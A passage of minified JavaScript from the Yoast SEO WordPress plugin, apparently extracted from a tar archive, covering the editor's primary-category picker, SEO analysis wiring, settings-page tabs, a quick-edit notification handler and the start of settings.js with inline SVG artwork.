n=`yoast-primary-${t.name}-picker`;return(0,c.createElement)(Hs,{className:"components-base-control__field"},(0,c.createElement)(Ws,{label:(0,g.sprintf)(/* translators: %s expands to the taxonomy name. */
(0,g.__)("Select the primary %s","wordpress-seo"),t.singularLabel.toLowerCase()),value:e,onChange:this.onChange,id:n,terms:this.state.selectedTerms}),(0,c.createElement)(p.ExternalLink,{className:"yst-inline-block yst-mt-2",href:s},(0,g.__)("Learn more","wordpress-seo"),(0,c.createElement)("span",{className:"screen-reader-text"},(0,g.__)("Learn more about the primary category.","wordpress-seo"))))}}Qs.propTypes={selectedTermIds:f().arrayOf(f().number),primaryTaxonomyId:f().number,setPrimaryTaxonomyId:f().func,updateReplacementVariable:f().func,taxonomy:f().shape({name:f().string,fieldId:f().string,restBase:f().string,singularLabel:f().string}),learnMoreLink:f().string.isRequired},Qs.defaultProps={selectedTermIds:[],primaryTaxonomyId:-1,setPrimaryTaxonomyId:l.noop,updateReplacementVariable:l.noop,taxonomy:{}};const Zs=Qs,Gs=(0,Vs.compose)([(0,d.withSelect)(((e,t)=>{const s=e("core/editor"),n=e("yoast-seo/editor"),{taxonomy:r}=t;return{selectedTermIds:s.getEditedPostAttribute(r.restBase)||[],primaryTaxonomyId:n.getPrimaryTaxonomyId(r.name),learnMoreLink:n.selectLink("https://yoa.st/primary-category-more")}})),(0,d.withDispatch)((e=>{const{setPrimaryTaxonomyId:t,updateReplacementVariable:s}=e("yoast-seo/editor");return{setPrimaryTaxonomyId:t,updateReplacementVariable:s}}))])(Zs);let Js=null,Xs=null;const en=Ys().div`
	margin: 16px 0 8px;
`;class tn extends u.Component{constructor(){super(),Js&&Xs||(Js=(0,l.get)(window.wpseoPrimaryCategoryL10n,"taxonomies",{}),Xs=(0,l.values)(Js).map((e=>e.name))),this.state={exceptionCaught:!1,error:null}}componentDidCatch(e){this.setState({exceptionCaught:!0,error:e})}taxonomyHasPrimaryTermSupport(){return Xs.includes(this.props.slug)}render(){const{slug:e,OriginalComponent:t}=this.props;if(this.state.exceptionCaught){const e=(0,l.get)(this.state,"error.stack");return(0,c.createElement)(u.Fragment,null,(0,c.createElement)(t,{...this.props}),(0,c.createElement)(en,null,(0,g.sprintf)(/* translators: %s expands to Yoast SEO. */
(0,g.__)("An error occurred loading the %s primary taxonomy picker.","wordpress-seo"),"Yoast SEO")),e&&(0,c.createElement)(p.ClipboardButton,{isLarge:!0,text:e},(0,g.__)("Copy error","wordpress-seo")))}return this.taxonomyHasPrimaryTermSupport()?(0,c.createElement)(u.Fragment,null,(0,c.createElement)(t,{...this.props}),(0,c.createElement)(Gs,{taxonomy:Js[e]})):(0,c.createElement)(t,{...this.props})}}tn.propTypes={OriginalComponent:f().func.isRequired,slug:f().string.isRequired};const sn=tn;let nn=null;const rn=()=>{if(null===nn){const e=(0,d.dispatch)("yoast-seo/editor").runAnalysis;nn=window.YoastSEO.app&&window.YoastSEO.app.pluggable?window.YoastSEO.app.pluggable:new Bt(e)}return nn},on=(e,t,s)=>rn().loaded?rn()._applyModifications(e,t,s):t;function an(){const{getAnalysisData:e,getEditorDataTitle:t,getIsFrontPage:s}=(0,d.select)("yoast-seo/editor");let n=e();n={...n,textTitle:t(),isFrontPage:s()};const r=function(e){return e.title=on("data_page_title",e.title),e.title=on("title",e.title),e.description=on("data_meta_desc",e.description),e.text=on("content",e.text),e}(n);return(0,h.applyFilters)("yoast.analysis.data",r)}(0,l.debounce)((async function(e,t){const{text:s,...n}=t,r=new qe.Paper(s,n);try{const t=await e.analyze(r),{seo:s,readability:n,inclusiveLanguage:i}=t.result;if(s){const e=s[""];e.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(r,e.marks)})),e.results=ss(e.results),(0,d.dispatch)("yoast-seo/editor").setSeoResultsForKeyword(r.getKeyword(),e.results),(0,d.dispatch)("yoast-seo/editor").setOverallSeoScore(e.score,r.getKeyword())}n&&(n.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(r,e.marks)})),n.results=ss(n.results),(0,d.dispatch)("yoast-seo/editor").setReadabilityResults(n.results),(0,d.dispatch)("yoast-seo/editor").setOverallReadabilityScore(n.score)),i&&(i.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(r,e.marks)})),i.results=ss(i.results),(0,d.dispatch)("yoast-seo/editor").setInclusiveLanguageResults(i.results),(0,d.dispatch)("yoast-seo/editor").setOverallInclusiveLanguageScore(i.score)),(0,h.doAction)("yoast.analysis.run",t,{paper:r})}catch(e){}}),500);const ln=()=>{const{getContentLocale:e}=(0,d.select)("yoast-seo/editor"),t=((...e)=>()=>e.map((e=>e())))(e,an),s=(()=>{const{setEstimatedReadingTime:e,setFleschReadingEase:t,setTextLength:s}=(0,d.dispatch)("yoast-seo/editor"),n=(0,l.get)(window,"YoastSEO.analysis.worker.runResearch",l.noop);return()=>{const r=qe.Paper.parse(an());n("readingTime",r).then((t=>e(t.result))),n("getFleschReadingScore",r).then((e=>{e.result&&t(e.result)})),n("wordCountInText",r).then((e=>s(e.result)))}})();return setTimeout(s,1500),((e,t)=>{let s=e();return()=>{const n=e();(0,l.isEqual)(n,s)||(s=n,t((0,l.clone)(n)))}})(t,s)};window.wpseoPostScraperL10n=window.wpseoScriptData.metabox,window.wpseoShortcodePluginL10n=window.wpseoScriptData.analysis.plugins.shortcodes,window.YoastSEO=window.YoastSEO||{},i()((()=>{var t;(function(e){function t(e){e&&(e.focus(),e.click())}function s(){if(e(".wpseo-meta-section").length>0){const t=e(".wpseo-meta-section-link");e(".wpseo-metabox-menu li").filter((function(){return"#wpseo-meta-section-content"===e(this).find(".wpseo-meta-section-link").attr("href")})).addClass("active").find("[role='tab']").addClass("yoast-active-tab"),e("#wpseo-meta-section-content, .wpseo-meta-section-react").addClass("active"),t.on("click",(function(s){var n=e(this).attr("id"),r=e(this).attr("href"),i=e(r);s.preventDefault(),e(".wpseo-metabox-menu li").removeClass("active").find("[role='tab']").removeClass("yoast-active-tab"),e(".wpseo-meta-section").removeClass("active"),e(".wpseo-meta-section-react.active").removeClass("active"),"#wpseo-meta-section-content"===r&&e(".wpseo-meta-section-react").addClass("active"),i.addClass("active"),e(this).parent("li").addClass("active").find("[role='tab']").addClass("yoast-active-tab");const o=function(e,t={}){return new CustomEvent("YoastSEO:metaTabChange",{detail:t})}(0,{metaTabId:n});window.dispatchEvent(o),this&&(t.attr({"aria-selected":"false",tabIndex:"-1"}),this.removeAttribute("tabindex"),this.setAttribute("aria-selected","true"))}))}}window.wpseoInitTabs=s,window.wpseo_init_tabs=s,e(".wpseo-meta-section").each((function(t,s){e(s).find(".wpseotab:first").addClass("active")})),window.wpseo_init_tabs(),function(){const s=e(".yoast-aria-tabs"),n=s.find("[role='tab']"),r=s.attr("aria-orientation")||"horizontal";n.attr({"aria-selected":!1,tabIndex:"-1"}),n.filter(".yoast-active-tab").removeAttr("tabindex").attr("aria-selected","true"),n.on("keydown",(function(s){-1!==[32,35,36,37,38,39,40].indexOf(s.which)&&("horizontal"===r&&-1!==[38,40].indexOf(s.which)||"vertical"===r&&-1!==[37,39].indexOf(s.which)||function(s,n){const r=s.which,i=n.index(e(s.target));switch(r){case 32:s.preventDefault(),t(n[i]);break;case 35:s.preventDefault(),t(n[n.length-1]);break;case 36:s.preventDefault(),t(n[0]);break;case 37:case 38:s.preventDefault(),t(n[i-1<0?n.length-1:i-1]);break;case 39:case 40:s.preventDefault(),t(n[i+1===n.length?0:i+1])}}(s,n))}))}()})(a()),"undefined"!=typeof wpseoPrimaryCategoryL10n&&function(e){var t,s,n=wpseoPrimaryCategoryL10n.taxonomies;function r(t){return e("#yoast-wpseo-primary-"+t).val()}function i(t,s){e("#yoast-wpseo-primary-"+t).val(s).trigger("change");const n=(0,d.dispatch)("yoast-seo/editor");if(n){const r=parseInt(s,10);n.setPrimaryTaxonomyId(t,r),"category"===t&&n.updateReplacementVariable("primary_category",function(t){const s=e("#category-all").find(`#category-${t} > label`);if(0===s.length)return"";const n=s.clone();return n.children().remove(),n.text().trim()}(r))}}function o(i){var o,a,l;o=e("#"+i+'checklist input[type="checkbox"]:checked');var c=e("#"+i+"checklist li");c.removeClass("wpseo-term-unchecked wpseo-primary-term wpseo-non-primary-term"),e(".wpseo-primary-category-label").remove(),c.addClass("wpseo-term-unchecked"),o.length<=1||o.each((function(o,c){c=e(c),(a=c.closest("li")).removeClass("wpseo-term-unchecked"),1!==e(c).closest("li").children(".wpseo-make-primary-term").length&&function(s,r){var i,o;i=e(r).closest("label"),o=t({taxonomy:n[s],term:i.text()}),i.after(o)}(i,c),c.val()===r(i)?(a.addClass("wpseo-primary-term"),(l=c.closest("label")).find(".wpseo-primary-category-label").remove(),l.append(s({taxonomy:n[i]}))):a.addClass("wpseo-non-primary-term")}))}function a(t){i(t,e("#"+t+'checklist input[type="checkbox"]:checked:first').val()),o(t)}function p(e){""===r(e)&&a(e)}e.fn.initYstSEOPrimaryCategory=function(){return this.each((function(t,s){const n=e("#"+s.name+"div");var l;o(s.name),n.on("click",'input[type="checkbox"]',(l=s.name,function(){!1===e(this).prop("checked")&&e(this).val()===r(l)&&a(l),p(l),o(l)})),n.on("wpListAddEnd","#"+s.name+"checklist",function(e){return function(){p(e),o(e)}}(s.name)),n.on("click",".wpseo-make-primary-term",function(t){return function(s){var n;n=e(s.currentTarget).siblings("label").find("input"),i(t,n.val()),o(t),n.trigger("focus")}}(s.name))}))},t=wp.template("primary-term-ui"),s=wp.template("primary-term-screen-reader"),e(_.values(n)).initYstSEOPrimaryCategory(),Ue()&&(0,l.get)(window,"wp.hooks.addFilter",l.noop)("editor.PostTaxonomyType","yoast-seo",(e=>class extends u.Component{render(){return(0,c.createElement)(sn,{OriginalComponent:e,...this.props})}}))}(a());const s=function(){const t=(0,d.registerStore)("yoast-seo/editor",{reducer:(0,d.combineReducers)(fe.reducers),selectors:fe.selectors,actions:(0,l.pickBy)(fe.actions,(e=>"function"==typeof e)),controls:e});return(e=>{e.dispatch(fe.actions.setSettings({socialPreviews:{sitewideImage:window.wpseoScriptData.sitewideSocialImage,siteName:window.wpseoScriptData.metabox.site_name,contentImage:window.wpseoScriptData.metabox.first_content_image,twitterCardType:window.wpseoScriptData.metabox.twitterCardType},snippetEditor:{baseUrl:window.wpseoScriptData.metabox.base_url,date:window.wpseoScriptData.metabox.metaDescriptionDate,recommendedReplacementVariables:window.wpseoScriptData.analysis.plugins.replaceVars.recommended_replace_vars,siteIconUrl:window.wpseoScriptData.metabox.siteIconUrl}})),e.dispatch(fe.actions.setSEMrushChangeCountry(window.wpseoScriptData.metabox.countryCode)),e.dispatch(fe.actions.setSEMrushLoginStatus(window.wpseoScriptData.metabox.SEMrushLoginStatus)),e.dispatch(fe.actions.setWincherLoginStatus(window.wpseoScriptData.metabox.wincherLoginStatus,!1)),e.dispatch(fe.actions.setWincherWebsiteId(window.wpseoScriptData.metabox.wincherWebsiteId)),e.dispatch(fe.actions.setWincherAutomaticKeyphaseTracking(window.wpseoScriptData.metabox.wincherAutoAddKeyphrases)),e.dispatch(fe.actions.setDismissedAlerts((0,l.get)(window,"wpseoScriptData.dismissedAlerts",{}))),e.dispatch(fe.actions.setCurrentPromotions((0,l.get)(window,"wpseoScriptData.currentPromotions",[]))),e.dispatch(fe.actions.setIsPremium(Boolean((0,l.get)(window,"wpseoScriptData.metabox.isPremium",!1)))),e.dispatch(fe.actions.setPostId(Number((0,l.get)(window,"wpseoScriptData.postId",null)))),e.dispatch(fe.actions.setAdminUrl((0,l.get)(window,"wpseoScriptData.adminUrl",""))),e.dispatch(fe.actions.setLinkParams((0,l.get)(window,"wpseoScriptData.linkParams",{}))),e.dispatch(fe.actions.setPluginUrl((0,l.get)(window,"wpseoScriptData.pluginUrl",""))),e.dispatch(fe.actions.setWistiaEmbedPermissionValue("1"===(0,l.get)(window,"wpseoScriptData.wistiaEmbedPermission",!1)))})(t),t}();window.yoast.initEditorIntegration(s);const n=new window.yoast.EditorData(l.noop,s);n.initialize(window.wpseoScriptData.analysis.plugins.replaceVars.replace_vars,window.wpseoScriptData.analysis.plugins.replaceVars.hidden_replace_vars),js(a(),s,n),null!==(t=window.wpseoScriptData)&&void 0!==t&&t.isElementorEditor||function(e){var t,s,n,r=function(e){this._app=e,this.featuredImage=null,this.pluginName="addFeaturedImagePlugin",this.registerPlugin(),this.registerModifications()};function i(){e("#yst_opengraph_image_warning").remove(),s.removeClass("yoast-opengraph-image-notice")}r.prototype.setFeaturedImage=function(e){this.featuredImage=e,this._app.pluginReloaded(this.pluginName)},r.prototype.removeFeaturedImage=function(){this.setFeaturedImage(null)},r.prototype.registerPlugin=function(){this._app.registerPlugin(this.pluginName,{status:"ready"})},r.prototype.registerModifications=function(){this._app.registerModification("content",this.addImageToContent.bind(this),this.pluginName,10)},r.prototype.addImageToContent=function(e){return null!==this.featuredImage&&(e+=this.featuredImage),e};var o=wp.media.featuredImage.frame();if("undefined"==typeof YoastSEO)return;if(t=new r(YoastSEO.app),s=e("#postimagediv"),n=s.find(".hndle"),o.on("select",(function(){var r,a,l;!function(t){var r=t.state().get("selection").first().toJSON();const o=(0,g.__)("SEO issue: The featured image should be at least 200 by 200 pixels to be picked up by Facebook and other social media sites.","wordpress-seo");r.width<200||r.height<200?0===e("#yst_opengraph_image_warning").length&&(e('<div id="yst_opengraph_image_warning" class="notice notice-error notice-alt"><p>'+o+"</p></div>").insertAfter(n),s.addClass("yoast-opengraph-image-notice"),$e()(o,"assertive")):i()}(o),l=(a=o.state().get("selection").first()).get("alt"),r='<img src="'+a.get("url")+'" width="'+a.get("width")+'" height="'+a.get("height")+'" alt="'+l+'"/>',t.setFeaturedImage(r)})),s.on("click","#remove-post-thumbnail",(function(){t.removeFeaturedImage(),i()})),void 0!==e("#set-post-thumbnail > img").prop("src")&&t.setFeaturedImage(e("#set-post-thumbnail ").html()),!Ue())return;let a,l;(0,d.subscribe)((()=>{const e=(0,d.select)("core/editor").getEditedPostAttribute("featured_media");if(function(e){return"number"==typeof e&&e>0}(e)&&(a=(0,d.select)("core").getMedia(e),void 0!==a&&a!==l)){l=a;const e=`<img src="${a.source_url}" alt="${a.alt_text}" >`;t.setFeaturedImage(e)}}))}(a()),function(e){function t(){e("#copy-home-meta-description").on("click",(function(){e("#open_graph_frontpage_desc").val(e("#meta_description").val())}))}function s(){var t=e("#wpseo-conf");if(t.length){var s=t.attr("action").split("#")[0];t.attr("action",s+window.location.hash)}}function n(){var t=window.location.hash.replace("#top#","");-1!==t.search("#top")&&(t=window.location.hash.replace("#top%23","")),""!==t&&"#"!==t.charAt(0)||(t=e(".wpseotab").attr("id")),e("#"+t).addClass("active"),e("#"+t+"-tab").addClass("nav-tab-active").trigger("click")}function r(t){const s=e("#noindex-author-noposts-wpseo-container");t?s.show():s.hide()}e.fn._wpseoIsInViewport=function(){const t=e(this).offset().top,s=t+e(this).outerHeight(),n=e(window).scrollTop(),r=n+e(window).height();return t>n&&s<r},e(window).on("hashchange",(function(){n(),s()})),window.setWPOption=function(t,s,n,r){e.post(ajaxurl,{action:"wpseo_set_option",option:t,newval:s,_wpnonce:r},(function(t){t&&e("#"+n).hide()}))},window.wpseoCopyHomeMeta=t,window.wpseoSetTabHash=s,e(document).ready((function(){s(),"function"==typeof window.wpseoRedirectOldFeaturesTabToNewSettings&&window.wpseoRedirectOldFeaturesTabToNewSettings(),e("#disable-author input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#author-archives-titles-metas-content").toggle("off"===e(this).val())})).trigger("change");const i=e("#noindex-author-wpseo-off"),o=e("#noindex-author-wpseo-on");i.is(":checked")||r(!1),o.on("change",(()=>{e(this).is(":checked")||r(!1)})),i.on("change",(()=>{e(this).is(":checked")||r(!0)})),e("#disable-date input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#date-archives-titles-metas-content").toggle("off"===e(this).val())})).trigger("change"),e("#disable-attachment input[type='radio']").on("change",(function(){e(this).is(":checked")&&e("#media_settings").toggle("off"===e(this).val())})).trigger("change"),e("#disable-post_format").on("change",(function(){e("#post_format-titles-metas").toggle(e(this).is(":not(:checked)"))})).trigger("change"),e("#wpseo-tabs").find("a").on("click",(function(t){var s,n,r,i=!0;if(s=e(this),n=!!e("#first-time-configuration-tab").filter(".nav-tab-active").length,r=!!s.filter("#first-time-configuration-tab").length,n&&!r&&window.isStepBeingEdited&&(i=confirm((0,g.__)("There are unsaved changes in one or more steps. Leaving means that those changes may not be saved. Are you sure you want to leave?","wordpress-seo"))),i){window.isStepBeingEdited=!1,e("#wpseo-tabs").find("a").removeClass("nav-tab-active"),e(".wpseotab").removeClass("active");var o=e(this).attr("id").replace("-tab",""),a=e("#"+o);a.addClass("active"),e(this).addClass("nav-tab-active"),a.hasClass("nosave")?e("#wpseo-submit-container").hide():e("#wpseo-submit-container").show(),e(window).trigger("yoast-seo-tab-change"),"first-time-configuration"===o?(e(".notice-yoast").slideUp(),e(".yoast_premium_upsell").slideUp(),e("#sidebar-container").hide()):(e(".notice-yoast").slideDown(),e(".yoast_premium_upsell").slideDown(),e("#sidebar-container").show())}else t.preventDefault(),e("#first-time-configuration-tab").trigger("focus")})),e("#yoast-first-time-configuration-notice a").on("click",(function(){e("#first-time-configuration-tab").click()})),e("#company_or_person").on("change",(function(){var t=e(this).val();"company"===t?(e("#knowledge-graph-company").show(),e("#knowledge-graph-person").hide()):"person"===t?(e("#knowledge-graph-company").hide(),e("#knowledge-graph-person").show()):(e("#knowledge-graph-company").hide(),e("#knowledge-graph-person").hide())})).trigger("change"),e(".switch-yoast-seo input").on("keydown",(function(e){"keydown"===e.type&&13===e.which&&e.preventDefault()})),e("body").on("click","button.toggleable-container-trigger",(t=>{const s=e(t.currentTarget),n=s.parent().siblings(".toggleable-container");n.toggleClass("toggleable-container-hidden"),s.attr("aria-expanded",!n.hasClass("toggleable-container-hidden")).find("span").toggleClass("dashicons-arrow-up-alt2 dashicons-arrow-down-alt2")}));const a=e("#opengraph"),c=e("#wpseo-opengraph-settings");a.length&&c.length&&(c.toggle(a[0].checked),a.on("change",(e=>{c.toggle(e.target.checked)}))),t(),n(),function(){if(!e("#enable_xml_sitemap input[type=radio]").length)return;const t=e("#yoast-seo-sitemaps-disabled-warning");e("#enable_xml_sitemap input[type=radio]").on("change",(function(){"off"===this.value?t.show():t.hide()}))}(),function(){const t=e("#wpseo-submit-container-float"),s=e("#wpseo-submit-container-fixed");if(!t.length||!s.length)return;function n(){t._wpseoIsInViewport()?s.hide():s.show()}e(window).on("resize scroll",(0,l.debounce)(n,100)),e(window).on("yoast-seo-tab-change",n);const r=e(".wpseo-message");r.length&&window.setTimeout((()=>{r.fadeOut()}),5e3),n()}()}))}(a()),(()=>{if((0,d.select)("yoast-seo/editor").getPreference("isInsightsEnabled",!1))(0,d.dispatch)("yoast-seo/editor").loadEstimatedReadingTime(),(0,d.subscribe)((0,l.debounce)(ln(),1500,{maxWait:3e3}))})(),window.wpseoScriptData.postType&&!["attachment"].includes(window.wpseoScriptData.postType)&&(()=>{const e=(0,d.select)(ye).getIsPremium(),t=(0,d.select)(ye).getIsWooSeoUpsell(),s=(0,d.select)(ye).getIsWooSeoUpsellTerm(),n=!e||t||s;(0,h.addFilter)("yoast.replacementVariableEditor.additionalButtons","yoast/yoast-seo-premium/AiGenerator",((e,{fieldId:t})=>(n&&e.push((0,c.createElement)(p.Fill,{name:`yoast.replacementVariableEditor.additionalButtons.${t}`},(0,c.createElement)(me,{fieldId:t}))),e)))})()}))})()})();wordpress-seo/js/dist/quick-edit-handler.js000064400000001675147510273070014766 0ustar00jQuery(function(t){const n=t(location).attr("pathname").split("/").pop(),i="edit-tags.php"===n?"slug":"post_name",e=t(".wrap").children().eq(0);let o=0;const a=[];function r(n){a.includes(n)||(a.push(n),t(n).insertAfter(e))}function c(){t.post(ajaxurl,{action:"yoast_get_notifications",version:2},(function(t){""!==t&&(o=0,JSON.parse(t).map(r)),o<20&&""===t&&(o++,setTimeout(c,500))}))}function u(){const n=t("tr.inline-editor"),e=function(t){return 0===t.length||""===t?"":t.attr("id").replace("edit-","")}(n),o=function(n){return t("#inline_"+n).find("."+i).html()}(e);return o!==n.find("input[name="+i+"]").val()}["edit.php","edit-tags.php"].includes(n)&&(t("#inline-edit input").on("keydown",(function(t){13===t.which&&u()&&c()})),t(".button-primary").on("click",(function(n){"save-order"!==t(n.target).attr("id")&&u()&&c()}))),"edit-tags.php"===n&&t(document).on("ajaxComplete",(function(t,n,i){i.data.indexOf("action=delete-tag")>-1&&c()}))}(jQuery));wordpress-seo/js/dist/settings.js000064400000046045147510273070013154 0ustar00(()=>{"use strict";var e={n:t=>{var i=t&&t.__esModule?()=>t.default:()=>t;return e.d(i,{a:i}),i},d:(t,i)=>{for(var s in i)e.o(i,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:i[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{DISMISS_ALERT:()=>d});const i=window.wp.domReady;var s=e.n(i);const a=window.jQuery;var o=e.n(a);const n=window.wp.i18n,r=window.lodash,c=window.wp.data,l=window.yoast.externals.redux;function d({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}const{currentPromotions:m,dismissedAlerts:p,isPremium:h,linkParams:f}=l.reducers,{isAlertDismissed:g,getIsPremium:w,isPromotionActive:u,selectLinkParams:y}=l.selectors,{dismissAlert:b,setCurrentPromotions:E,setDismissedAlerts:v,setLinkParams:k,setIsPremium:_}=l.actions,x=window.React,P=window.wp.element,z=window.wp.url,A=window.yoast.styledComponents,S=window.yoast.propTypes;var D=e.n(S);const M=(0,window.wp.compose.compose)([(0,c.withSelect)(((e,t)=>{const{isAlertDismissed:i}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:i(t.alertKey)}})),(0,c.withDispatch)(((e,t)=>{const{dismissAlert:i}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>i(t.alertKey)}}))]),C=M,T=({children:e,id:t,hasIcon:i=!0,title:s,image:a=null,isAlertDismissed:o,onDismissed:r})=>o?null:(0,x.createElement)("div",{id:t,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,x.createElement)("div",{className:"notice-yoast__container"},(0,x.createElement)("div",null,(0,x.createElement)("div",{className:"notice-yoast__header"},i&&(0,x.createElement)("span",{className:"yoast-icon"}),(0,x.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},s)),(0,x.createElement)("div",{className:"notice-yoast-content"},(0,x.createElement)("p",null,e))),a&&(0,x.createElement)(a,{height:"60"})),(0,x.createElement)("button",{type:"button",className:"notice-dismiss",onClick:r},(0,x.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,n.__)("Dismiss this notice.","wordpress-seo"))));T.propTypes={children:D().node.isRequired,id:D().string.isRequired,hasIcon:D().bool,title:D().any.isRequired,image:D().elementType,isAlertDismissed:D().bool.isRequired,onDismissed:D().func.isRequired};const I=C(T);var R,O,L,N,j,q,B,K,F,H,Q,W,$,J,U,V,Y,G,X,Z,ee,te,ie,se,ae,oe,ne,re,ce,le,de,me,pe,he,fe,ge,we,ue,ye,be,Ee,ve,ke,_e,xe,Pe,ze;function Ae(){return Ae=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var s in i)Object.prototype.hasOwnProperty.call(i,s)&&(e[s]=i[s])}return e},Ae.apply(this,arguments)}const Se=e=>x.createElement("svg",Ae({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},e),R||(R=x.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),O||(O=x.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),L||(L=x.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),N||(N=x.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),j||(j=x.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),q||(q=x.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),B||(B=x.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),K||(K=x.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),F||(F=x.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),H||(H=x.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),Q||(Q=x.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),W||(W=x.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),$||($=x.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),J||(J=x.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),U||(U=x.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),V||(V=x.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),Y||(Y=x.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),G||(G=x.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 